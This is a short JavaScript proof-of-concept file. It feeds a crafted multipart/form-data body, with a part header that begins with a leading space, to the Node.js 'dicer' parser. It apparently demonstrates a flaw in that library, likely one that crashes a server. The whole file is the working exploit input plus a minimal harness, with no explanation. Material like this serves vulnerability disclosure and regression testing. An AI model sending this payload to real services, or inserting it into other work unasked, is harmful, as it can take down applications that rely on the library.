poc.js

'use strict';

const Dicer = require('dicer');

const dicer = new Dicer({
  boundary: '----WebKitFormBoundaryoo6vortfDzBsDiro',
});

dicer.on('part', (p) => {
  // This is important
  p.on('error', () => {});
});

dicer.on('error', () => {});

dicer.write('------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--');